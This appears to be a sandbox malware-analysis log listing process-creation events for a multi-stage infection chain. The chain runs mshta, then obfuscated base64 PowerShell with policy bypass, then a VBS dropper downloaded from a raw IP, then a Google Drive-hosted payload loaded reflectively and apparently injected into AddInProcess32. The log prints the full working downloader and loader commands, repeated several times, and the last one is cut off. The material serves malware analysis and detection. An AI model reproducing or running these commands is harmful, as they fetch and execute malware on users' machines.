Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\sYSTEm32\WinDOWspOwershElL\v1.0\pOweRshEll.eXe" "PoWeRshELL.exE -eX bYpASs -NOp -w 1 -c DEvICecrEdentiaLdePlOYMent.ExE ; Iex($(IEx('[sYsTem.TeXt.eNcOdiNg]'+[ChAR]58+[chAR]0X3A+'utf8.getSTrIng([sYsTeM.cOnvErt]'+[CHar]0x3A+[cHaR]0x3A+'frOMbAsE64StrinG('+[ChAR]0x22+'JFQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC1UWVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtQkVyZEVGSU5pdGlvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVybG1vbi5kTEwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUmhQQVdhVSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFpIT0djVSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFFvLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxzaGJQSHRzLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaik7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJuaWVlIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWVTcEFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcnB3WUlpRnNleCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFQ6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4xNzYuMTQxLzM2L2dvb2R0aGluZ3N3aXRoZ3JlYXRjb21lYmFja3dpdGhncmVhdHRoaWducy50SUYiLCIkRU5WOkFQUERBVEFcZ29vZHRoaW5nc3dpdGhncmVhdGNvbWViYWNrd2l0aGdyZWF0dGhpZy52YlMiLDAsMCk7c1RhUnQtc2xlZVAoMyk7U3RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU52OkFQUERBVEFcZ29vZHRoaW5nc3dpdGhncmVhdGNvbWViYWNrd2l0aGdyZWF0dGhpZy52YlMi'+[ChAr]34+'))')))"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eX bYpASs -NOp -w 1 -c DEvICecrEdentiaLdePlOYMent.ExE
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\sblybu2m\sblybu2m.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\goodthingswithgreatcomebackwithgreatthig.vbS"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES8FC2.tmp" "c:\Users\user\AppData\Local\Temp\sblybu2m\CSCFEB4FC09456049919CFF236451FA82A.TMP"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnVUNRaW1hZ2VVcmwgPSAwVERodHRwczovL2RyaXZlLmdvb2dsZS5jb20vdWM/ZXhwb3J0PWRvd25sb2EnKydkJysnJmlkPTFBSVZnSkpKdjFGNnZTNHNVT3libkgtc0R2VWhCWXd1ciAwVEQ7VUNRd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LlcnKydlYkNsaWVudDtVQ1FpbWFnZUJ5dGVzID0gVUNRd2ViQ2xpZW50LkRvd25sb2FkRGF0YShVQ1FpbScrJ2FnZVVybCk7VUNRaW1hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcnKycoVUNRaW1hZ2VCeXRlcyk7VUNRc3RhcnRGbGFnID0gMFREPDxCQVNFNjRfU1RBUlQ+PjBURDtVQ1EnKydlbmRGbGFnID0gMFREPDxCQVNFNjRfRU5EPj4wVEQ7VUNRc3RhcnRJbmRleCA9IFVDUWltYWdlVGV4dC5JbmRleE9mKFVDUXN0YXJ0RmxhZyk7VUNRZW5kSW5kZXggPSBVQ1FpbWFnZVRleHQuSW5kZXhPZihVQ1FlbmRGbGFnKTtVQ1FzdCcrJ2FydEluZGV4IC1nZSAwIC1hbmQgVUNRZW5kSW5kZXggLWd0IFVDUXN0YXJ0SW5kZXg7VUNRc3RhcnRJbmRleCArPSBVQ1FzdGFydEZsYWcuTGVuZ3RoO1VDUWJhc2U2NCcrJ0xlbmd0aCA9ICcrJ1VDJysnUScrJ2VuZEluZGV4IC0gVUNRc3RhcnRJbmRleDtVQ1FiYXNlNjRDb21tYW5kICcrJz0gVUNRaW1hZ2VUZXh0LlN1YnN0cmluZyhVQ1FzdGFydEluZGV4LCBVQ1FiYXNlNjRMZW5ndGgpO1VDUWJhc2U2NFJldmVyc2VkID0gLWpvaW4gKFVDUWJhc2U2NENvbW1hbmQuVG9DaGFyQXJyYXkoKSBQeXogRm9yRWFjaC1PYmplY3QgeyBVQ1FfIH0pWycrJy0xLi4tKFVDUWJhc2U2NENvbW1hbmQuTGVuZ3RoKV07VUNRY29tbWFuZEJ5dGVzID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyhVQ1FiYXNlNjRSZXZlcnNlZCk7VUNRbG9hZGVkQXNzJysnZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFVDUWNvbW1hbmRCeXRlcyk7VUMnKydRdmFpTWV0aG9kID0gW2RubGliLklPLkhvbScrJ2VdLkdldE1ldGhvZCgwVERWQUkwVEQpO1VDUXZhaU1ldGhvZC5JbnZva2UoJysnVUNRJysnbnVsbCwgQCgwVER0eHQuSUtPTDAyJVNHT0wvNjMvMTQxLjYnKyc3MS4zLjI5MS8vOnB0dGgwVEQsIDBURGRlc2F0aXZhZG8wVEQsIDBURGRlc2F0aXZhZG8wVEQsIDBURGRlc2F0aScrJ3ZhZG8wVEQsIDBUREFkZEluUHJvY2VzczMyMFRELCAwVERkZXNhdGl2YWRvMFRELCAwVERkZXNhdGl2YWRvMFRELDBURGRlc2F0aXZhZG8wVEQsMFREZGVzYXRpdmFkbzBURCwnKycwVERkZXNhdGl2YWRvJysnMFRELDBURGRlc2F0aXZhZG8wVEQsMFREZGVzYXRpdmFkbzBURCwwVCcrJ0QxMFRELDBURGRlc2F0aXZhZCcrJ28wVEQpKScrJzsnKS1yRXBsYWNFJ1VDUScsW2NIYVJdMzYgIC1yRXBsYWNFJzBURCcsW2NIYVJdMzkgIC1yRXBsYWNFIChbY0hhUl04MCtbY0hhUl0xMjErW2NIYVJdMTIyKSxbY0hhUl0xMjQpIHwuICgoR0VULXZhUklhQkxlICcqbWRyKicpLm5hTUVbMywxMSwyXS1Kb0lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('UCQimageUrl = 0TDhttps://drive.google.com/uc?export=downloa'+'d'+'&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur 0TD;UCQwebClient = New-Object System.Net.W'+'ebClient;UCQimageBytes = UCQwebClient.DownloadData(UCQim'+'ageUrl);UCQimageText = [System.Text.Encoding]::UTF8.GetString'+'(UCQimageBytes);UCQstartFlag = 0TD<<BASE64_START>>0TD;UCQ'+'endFlag = 0TD<<BASE64_END>>0TD;UCQstartIndex = UCQimageText.IndexOf(UCQstartFlag);UCQendIndex = UCQimageText.IndexOf(UCQendFlag);UCQst'+'artIndex -ge 0 -and UCQendIndex -gt UCQstartIndex;UCQstartIndex += UCQstartFlag.Length;UCQbase64'+'Length = '+'UC'+'Q'+'endIndex - UCQstartIndex;UCQbase64Command '+'= UCQimageText.Substring(UCQstartIndex, UCQbase64Length);UCQbase64Reversed = -join (UCQbase64Command.ToCharArray() Pyz ForEach-Object { UCQ_ })['+'-1..-(UCQbase64Command.Length)];UCQcommandBytes = [System.Convert]::FromBase64String(UCQbase64Reversed);UCQloadedAss'+'embly = [System.Reflection.Assembly]::Load(UCQcommandBytes);UC'+'QvaiMethod = [dnlib.IO.Hom'+'e].GetMethod(0TDVAI0TD);UCQvaiMethod.Invoke('+'UCQ'+'null, @(0TDtxt.IKOL02%SGOL/63/141.6'+'71.3.291//:ptth0TD, 0TDdesativado0TD, 0TDdesativado0TD, 0TDdesati'+'vado0TD, 0TDAddInProcess320TD, 0TDdesativado0TD, 0TDdesativado0TD,0TDdesativado0TD,0TDdesativado0TD,'+'0TDdesativado'+'0TD,0TDdesativado0TD,0TDdesativado0TD,0T'+'D10TD,0TDdesativad'+'o0TD))'+';')-rEplacE'UCQ',[cHaR]36 -rEplacE'0TD',[cHaR]39 -rEplacE ([cHaR]80+[cHaR]121+[cHaR]122),[cHaR]124) \|. ((GET-vaRIaBLe 'mdr').naME[3,11,2]-JoIN'')"

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment.exe ; iex($(iex('[system.text.encoding]'+[char]58+[char]0x3a+'utf8.getstring([system.convert]'+[char]0x3a+[char]0x3a+'frombase64string('+[char]0x22+'jfqgicagicagicagicagicagicagicagicagicagicagid0gicagicagicagicagicagicagicagicagicagicagiefezc1uwvbficagicagicagicagicagicagicagicagicagicagicattuvtqkvyzevgsu5pdglvtiagicagicagicagicagicagicagicagicagicagicagj1tebgxjbxbvcnqoilvybg1vbi5ktewilcagicagicagicagicagicagicagicagicagicagicagq2hhclnldca9ienoyxjtzxquvw5py29kzsldchvibgljihn0yxrpyyblehrlcm4gsw50uhryifvstervd25sb2fkvg9gawxlkeludfb0ciagicagicagicagicagicagicagicagicagicagicagumhqqvdhvsxzdhjpbmcgicagicagicagicagicagicagicagicagicagicagifpit0djvsxzdhjpbmcgicagicagicagicagicagicagicagicagicagicagiffvlhvpbnqgicagicagicagicagicagicagicagicagicagicagigxzagjqshrzleludfb0ciagicagicagicagicagicagicagicagicagicagicagaik7jyagicagicagicagicagicagicagicagicagicagicaglu5bbuugicagicagicagicagicagicagicagicagicagicagicjuawvliiagicagicagicagicagicagicagicagicagicagicaglw5hbwvtcefjzsagicagicagicagicagicagicagicagicagicagicagcnb3wulprnnlecagicagicagicagicagicagicagicagicagicagicaglvbhc3nuahj1oyagicagicagicagicagicagicagicagicagicagicagjfq6olvstervd25sb2fkvg9gawxlkdasimh0dha6ly8xotiumy4xnzyumtqxlzm2l2dvb2r0agluz3n3axroz3jlyxrjb21lymfja3dpdghncmvhdhroawducy50suyilcikru5wokfquerbvefcz29vzhroaw5nc3dpdghncmvhdgnvbwviywnrd2l0agdyzwf0dghpzy52ylmildasmck7c1rhunqtc2xlzvaomyk7u3rhcnqgicagicagicagicagicagicagicagicagicagicagicikzu52okfquerbvefcz29vzhroaw5nc3dpdghncmvhdgnvbwviywnrd2l0agdyzwf0dghpzy52ylmi'+[char]34+'))')))"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'kcgnvunraw1hz2vvcmwgpsawverodhrwczovl2ryaxzllmdvb2dszs5jb20vdwm/zxhwb3j0pwrvd25sb2enkydkjysnjmlkptfbsvznskpkdjfgnnztnhnvt3libkgtc0r2vwhcwxd1ciawveq7vunrd2viq2xpzw50id0gtmv3lu9iamvjdcbtexn0zw0utmv0llcnkydlyknsawvuddtvq1fpbwfnzuj5dgvzid0gvunrd2viq2xpzw50lkrvd25sb2fkrgf0yshvq1fpbscrj2fnzvvybck7vunraw1hz2vuzxh0id0gw1n5c3rlbs5uzxh0lkvuy29kaw5nxto6vvrgoc5hzxrtdhjpbmcnkycovunraw1hz2vcexrlcyk7vunrc3rhcnrgbgfnid0gmfrepdxcqvnfnjrfu1rbulq+pjburdtvq1enkydlbmrgbgfnid0gmfrepdxcqvnfnjrfru5epj4wveq7vunrc3rhcnrjbmrleca9ifvduwltywdlvgv4dc5jbmrlee9mkfvduxn0yxj0rmxhzyk7vunrzw5ksw5kzxggpsbvq1fpbwfnzvrlehqusw5kzxhpzihvq1flbmrgbgfnkttvq1fzdccrj2fydeluzgv4ic1nzsawic1hbmqgvunrzw5ksw5kzxgglwd0ifvduxn0yxj0sw5kzxg7vunrc3rhcnrjbmrlecarpsbvq1fzdgfydezsywcutgvuz3roo1vduwjhc2u2nccrj0xlbmd0aca9iccrj1vdjysnuscrj2vuzeluzgv4ic0gvunrc3rhcnrjbmrledtvq1fiyxnlnjrdb21tyw5kiccrjz0gvunraw1hz2vuzxh0lln1ynn0cmluzyhvq1fzdgfydeluzgv4lcbvq1fiyxnlnjrmzw5ndggpo1vduwjhc2u2nfjldmvyc2vkid0glwpvaw4gkfvduwjhc2u2nenvbw1hbmquvg9dagfyqxjyyxkoksbqexogrm9yrwfjac1pymply3qgeybvq1ffih0pwycrjy0xli4tkfvduwjhc2u2nenvbw1hbmqutgvuz3rokv07vunry29tbwfuzej5dgvzid0gw1n5c3rlbs5db252zxj0xto6rnjvbujhc2u2nfn0cmluzyhvq1fiyxnlnjrszxzlcnnlzck7vunrbg9hzgvkqxnzjysnzw1ibhkgpsbbu3lzdgvtlljlzmxly3rpb24uqxnzzw1ibhldojpmb2fkkfvduwnvbw1hbmrcexrlcyk7vumnkydrdmfptwv0ag9kid0gw2rubglilklplkhvbscrj2vdlkdlde1ldghvzcgwverwqukwveqpo1vduxzhau1ldghvzc5jbnzva2uojysnvunrjysnbnvsbcwgqcgwver0ehqusutptdayjvnht0wvnjmvmtqxljynkyc3ms4zlji5ms8vonb0dggwveqsidburgrlc2f0axzhzg8wveqsidburgrlc2f0axzhzg8wveqsidburgrlc2f0ascrj3zhzg8wveqsidburefkzeluuhjvy2vzczmymfrelcawverkzxnhdgl2ywrvmfrelcawverkzxnhdgl2ywrvmfreldburgrlc2f0axzhzg8wveqsmfrezgvzyxrpdmfkbzburcwnkycwverkzxnhdgl2ywrvjysnmfreldburgrlc2f0axzhzg8wveqsmfrezgvzyxrpdmfkbzburcwwvccrj0qxmfreldburgrlc2f0axzhzccrj28wveqpkscrjzsnks1yrxbsywnfj1vduscsw2niyvjdmzygic1yrxbsywnfjzburccsw2niyvjdmzkgic1yrxbsywnfichby0hhul04mctby0hhul0xmjerw2niyvjdmtiyksxby0hhul0xmjqpihwuicgor0vulxzhuklhqkxliccqbwrykicplm5htuvbmywxmswyxs1kb0lojycp';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "(('ucqimageurl = 0tdhttps://drive.google.com/uc?export=downloa'+'d'+'&id=1aivgjjjv1f6vs4suoybnh-sdvuhbywur 0td;ucqwebclient = new-object system.net.w'+'ebclient;ucqimagebytes = ucqwebclient.downloaddata(ucqim'+'ageurl);ucqimagetext = [system.text.encoding]::utf8.getstring'+'(ucqimagebytes);ucqstartflag = 0td<<base64_start>>0td;ucq'+'endflag = 0td<<base64_end>>0td;ucqstartindex = ucqimagetext.indexof(ucqstartflag);ucqendindex = ucqimagetext.indexof(ucqendflag);ucqst'+'artindex -ge 0 -and ucqendindex -gt ucqstartindex;ucqstartindex += ucqstartflag.length;ucqbase64'+'length = '+'uc'+'q'+'endindex - ucqstartindex;ucqbase64command '+'= ucqimagetext.substring(ucqstartindex, ucqbase64length);ucqbase64reversed = -join (ucqbase64command.tochararray() pyz foreach-object { ucq_ })['+'-1..-(ucqbase64command.length)];ucqcommandbytes = [system.convert]::frombase64string(ucqbase64reversed);ucqloadedass'+'embly = [system.reflection.assembly]::load(ucqcommandbytes);uc'+'qvaimethod = [dnlib.io.hom'+'e].getmethod(0tdvai0td);ucqvaimethod.invoke('+'ucq'+'null, @(0tdtxt.ikol02%sgol/63/141.6'+'71.3.291//:ptth0td, 0tddesativado0td, 0tddesativado0td, 0tddesati'+'vado0td, 0tdaddinprocess320td, 0tddesativado0td, 0tddesativado0td,0tddesativado0td,0tddesativado0td,'+'0tddesativado'+'0td,0tddesativado0td,0tddesativado0td,0t'+'d10td,0tddesativad'+'o0td))'+';')-replace'ucq',[char]36 -replace'0td',[char]39 -replace ([char]80+[char]121+[char]122),[char]124) \|. ((get-variable 'mdr').name[3,11,2]-join'')"
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment.exe ; iex($(iex('[system.text.encoding]'+[char]58+[char]0x3a+'utf8.getstring([system.convert]'+[char]0x3a+[char]0x3a+'frombase64string('+[char]0x22+'jfqgicagicagicagicagicagicagicagicagicagicagid0gicagicagicagicagicagicagicagicagicagicagiefezc1uwvbficagicagicagicagicagicagicagicagicagicagicattuvtqkvyzevgsu5pdglvtiagicagicagicagicagicagicagicagicagicagicagj1tebgxjbxbvcnqoilvybg1vbi5ktewilcagicagicagicagicagicagicagicagicagicagicagq2hhclnldca9ienoyxjtzxquvw5py29kzsldchvibgljihn0yxrpyyblehrlcm4gsw50uhryifvstervd25sb2fkvg9gawxlkeludfb0ciagicagicagicagicagicagicagicagicagicagicagumhqqvdhvsxzdhjpbmcgicagicagicagicagicagicagicagicagicagicagifpit0djvsxzdhjpbmcgicagicagicagicagicagicagicagicagicagicagiffvlhvpbnqgicagicagicagicagicagicagicagicagicagicagigxzagjqshrzleludfb0ciagicagicagicagicagicagicagicagicagicagicagaik7jyagicagicagicagicagicagicagicagicagicagicaglu5bbuugicagicagicagicagicagicagicagicagicagicagicjuawvliiagicagicagicagicagicagicagicagicagicagicaglw5hbwvtcefjzsagicagicagicagicagicagicagicagicagicagicagcnb3wulprnnlecagicagicagicagicagicagicagicagicagicagicaglvbhc3nuahj1oyagicagicagicagicagicagicagicagicagicagicagjfq6olvstervd25sb2fkvg9gawxlkdasimh0dha6ly8xotiumy4xnzyumtqxlzm2l2dvb2r0agluz3n3axroz3jlyxrjb21lymfja3dpdghncmvhdhroawducy50suyilcikru5wokfquerbvefcz29vzhroaw5nc3dpdghncmvhdgnvbwviywnrd2l0agdyzwf0dghpzy52ylmildasmck7c1rhunqtc2xlzvaomyk7u3rhcnqgicagicagicagicagicagicagicagicagicagicagicikzu52okfquerbvefcz29vzhroaw5nc3dpdghncmvhdgnvbwviywnrd2l0agdyzwf0dghpzy52ylmi'+[char]34+'))')))"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'kcgnvunraw1hz2vvcmwgpsawverodhrwczovl2ryaxzllmdvb2dszs5jb20vdwm/zxhwb3j0pwrvd25sb2enkydkjysnjmlkptfbsvznskpkdjfgnnztnhnvt3libkgtc0r2vwhcwxd1ciawveq7vunrd2viq2xpzw50id0gtmv3lu9iamvjdcbtexn0zw0utmv0llcnkydlyknsawvuddtvq1fpbwfnzuj5dgvzid0gvunrd2viq2xpzw50lkrvd25sb2fkrgf0yshvq1fpbscrj2fnzvvybck7vunraw1hz2vuzxh0id0gw1n5c3rlbs5uzxh0lkvuy29kaw5nxto6vvrgoc5hzxrtdhjpbmcnkycovunraw1hz2vcexrlcyk7vunrc3rhcnrgbgfnid0gmfrepdxcqvnfnjrfu1rbulq+pjburdtvq1enkydlbmrgbgfnid0gmfrepdxcqvnfnjrfru5epj4wveq7vunrc3rhcnrjbmrleca9ifvduwltywdlvgv4dc5jbmrlee9mkfvduxn0yxj0rmxhzyk7vunrzw5ksw5kzxggpsbvq1fpbwfnzvrlehqusw5kzxhpzihvq1flbmrgbgfnkttvq1fzdccrj2fydeluzgv4ic1nzsawic1hbmqgvunrzw5ksw5kzxgglwd0ifvduxn0yxj0sw5kzxg7vunrc3rhcnrjbmrlecarpsbvq1fzdgfydezsywcutgvuz3roo1vduwjhc2u2nccrj0xlbmd0aca9iccrj1vdjysnuscrj2vuzeluzgv4ic0gvunrc3rhcnrjbmrledtvq1fiyxnlnjrdb21tyw5kiccrjz0gvunraw1hz2vuzxh0lln1ynn0cmluzyhvq1fzdgfydeluzgv4lcbvq1fiyxnlnjrmzw5ndggpo1vduwjhc2u2nfjldmvyc2vkid0glwpvaw4gkfvduwjhc2u2nenvbw1hbmquvg9dagfyqxjyyxkoksbqexogrm9yrwfjac1pymply3qgeybvq1ffih0pwycrjy0xli4tkfvduwjhc2u2nenvbw1hbmqutgvuz3rokv07vunry29tbwfuzej5dgvzid0gw1n5c3rlbs5db252zxj0xto6rnjvbujhc2u2nfn0cmluzyhvq1fiyxnlnjrszxzlcnnlzck7vunrbg9hzgvkqxnzjysnzw1ibhkgpsbbu3lzdgvtlljlzmxly3rpb24uqxnzzw1ibhldojpmb2fkkfvduwnvbw1hbmrcexrlcyk7vumnkydrdmfptwv0ag9kid0gw2rubglilklplkhvbscrj2vdlkdlde1ldghvzcgwverwqukwveqpo1vduxzhau1ldghvzc5jbnzva2uojysnvunrjysnbnvsbcwgqcgwver0ehqusutptdayjvnht0wvnjmvmtqxljynkyc3ms4zlji5ms8vonb0dggwveqsidburgrlc2f0axzhzg8wveqsidburgrlc2f0axzhzg8wveqsidburgrlc2f0ascrj3zhzg8wveqsidburefkzeluuhjvy2vzczmymfrelcawverkzxnhdgl2ywrvmfrelcawverkzxnhdgl2ywrvmfreldburgrlc2f0axzhzg8wveqsmfrezgvzyxrpdmfkbzburcwnkycwverkzxnhdgl2ywrvjysnmfreldburgrlc2f0axzhzg8wveqsmfrezgvzyxrpdmfkbzburcwwvccrj0qxmfreldburgrlc2f0axzhzccrj28wveqpkscrjzsnks1yrxbsywnfj1vduscsw2niyvjdmzygic1yrxbsywnfjzburccsw2niyvjdmzkgic1yrxbsywnfichby0hhul04mctby0hhul0xmjerw2niyvjdmtiyksxby0hhul0xmjqpihwuicgor0vulxzhuklhqkxliccqbwrykicplm5htuvbmywxmswyxs1kb0lojycp';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "(('ucqimageurl = 0tdhttps://drive.google.com/uc?export=downloa'+'d'+'&id=1aivgjjjv1f6vs4suoybnh-sdvuhbywur 0td;ucqwebclient = new-object system.net.w'+'ebclient;ucqimagebytes = ucqwebclient.downloaddata(ucqim'+'ageurl);ucqimagetext = [system.text.encoding]::utf8.getstring'+'(ucqimagebytes);ucqstartflag = 0td<<base64_start>>0td;ucq'+'endflag = 0td<<base64_end>>0td;ucqstartindex = ucqimagetext.indexof(ucqstartflag);ucqendindex = ucqimagetext.indexof(ucqendflag);ucqst'+'artindex -ge 0 -and ucqendindex -gt ucqstartindex;ucqstartindex += ucqstartflag.length;ucqbase64'+'length = '+'uc'+'q'+'endindex - ucqstartindex;ucqbase64command '+'= ucqimagetext.substring(ucqstartindex, ucqbase64length);ucqbase64reversed = -join (ucqbase64command.tochararray() pyz foreach-object { ucq_ })['+'-1..-(ucqbase64command.length)];ucqcommandbytes = [system.convert]::frombase64string(ucqbase64reversed);ucqloadedass'+'embly = [system.reflection.assembly]::load(ucqcommandbytes);uc'+'qvaimethod = [dnlib.io.hom'+'e].getmethod(0tdvai0td);ucqvaimethod.invoke('+'ucq'+'null, @(0tdtxt.ikol02%sgol/63/141.6'+'71.3.291//:ptth0td, 0tddesativado0td, 0tddesativado0td, 0tddesati'+'vado0td, 0tdaddinprocess320td, 0tddesativado0td, 0tddesativado0td,0tddesativado0td,0tddesativado0td,'+'0tddesativado'+'0td,0tddesativado0td,0tddesativado0td,0t'+'d10td,0tddesativad'+'o0td))'+';')-replace'ucq',[char]36 -replace'0td',[char]39 -replace ([char]80+[char]121+[char]122),[char]124) \|. ((get-variable 'mdr').name[3,11,2]-join'')"
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment.exe ; iex($(iex('[system.text.encoding]'+[char]58+[char]0x3a+'utf8.getstring([system.convert]'+[char]0x3a+[char]0x3a+'frombase64string('+[char]0x22+'jfqgicagicagicagicagicagicagicagicagicagicagid0gicagicagicagicagicagicagicagicagicagicagiefezc1uwvbficagicagicagicagicagicagicagicagicagicagicattuvtqkvyzevgsu5pdglvtiagicagicagicagicagicagicagicagicagicagicagj1tebgxjbxbvcnqoilvybg1vbi5ktewilcagicagicagicagicagicagicagicagicagicagicagq2hhclnldca9ienoyxjtzxquvw5py29kzsldchvibgljihn0yxrpyyblehrlcm4gsw50uhryifvstervd25sb2fkvg9gawxlkeludfb0ciagicagicagicagicagicagicagicagicagicagicagumhqqvdhvsxzdhjpbmcgicagicagicagicagicagicagicagicagicagicagifpit0djvsxzdhjpbmcgicagicagicagicagicagicagicagicagicagicagiffvlhvpbnqgicagicagicagicagicagicagicagicagicagicagigxzagjqshrzleludfb0ciagicagicagicagicagicagicagicagicagicagicagaik7jyagicagicagicagicagicagicagicagicagicagicaglu5bbuugicagicagicagicagicagicagicagicagicagicagicjuawvliiagicagicagicagicagicagicagicagicagicagicaglw5hbwvtcefjzsagicagicagicagicagicagicagicagicagicagicagcnb3wulprnnlecagicagicagicagicagicagicagicagicagicagicaglvbhc3nuahj1oyagicagicagicagicagicagicagicagicagicagicagjfq6olvstervd25sb2fkvg9gawxlkdasimh0dha6ly8xotiumy4xnzyumtqxlzm2l2dvb2r0agluz3n3axroz3jlyxrjb21lymfja3dpdghncmvhdhroawducy50suyilcikru5wokfquerbvefcz29vzhroaw5nc3dpdghncmvhdgnvbwviywnrd2l0agdyzwf0dghpzy52ylmildasmck7c1rhunqtc2xlzvaomyk7u3rhcnqgicagicagicagicagicagicagicagicagicagicagicikzu52okfquerbvefcz29vzhroaw5nc3dpdghncmvhdgnvbwviywnrd2l0agdyzwf0dghpzy52ylmi'+[char]34+'))')))"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'kcgnvunraw1hz2vvcmwgpsawverodhrwczovl2ryaxzllmdvb2dszs5jb20vdwm/zxhwb3j0pwrvd25sb2enkydkjysnjmlkptfbsvznskpkdjfgnnztnhnvt3libkgtc0r2vwhcwxd1ciawveq7vunrd2viq2xpzw50id0gtmv3lu9iamvjdcbtexn0zw0utmv0llcnkydlyknsawvuddtvq1fpbwfnzuj5dgvzid0gvunrd2viq2xpzw50lkrvd25sb2fkrgf0yshvq1fpbscrj2fnzvvybck7vunraw1hz2vuzxh0id0gw1n5c3rlbs5uzxh0lkvuy29kaw5nxto6vvrgoc5hzxrtdhjpbmcnkycovunraw1hz2vcexrlcyk7vunrc3rhcnrgbgfnid0gmfrepdxcqvnfnjrfu1rbulq+pjburdtvq1enkydlbmrgbgfnid0gmfrepdxcqvnfnjrfru5epj4wveq7vunrc3rhcnrjbmrleca9ifvduwltywdlvgv4dc5jbmrlee9mkfvduxn0yxj0rmxhzyk7vunrzw5ksw5kzxggpsbvq1fpbwfnzvrlehqusw5kzxhpzihvq1flbmrgbgfnkttvq1fzdccrj2fydeluzgv4ic1nzsawic1hbmqgvunrzw5ksw5kzxgglwd0ifvduxn0yxj0sw5kzxg7vunrc3rhcnrj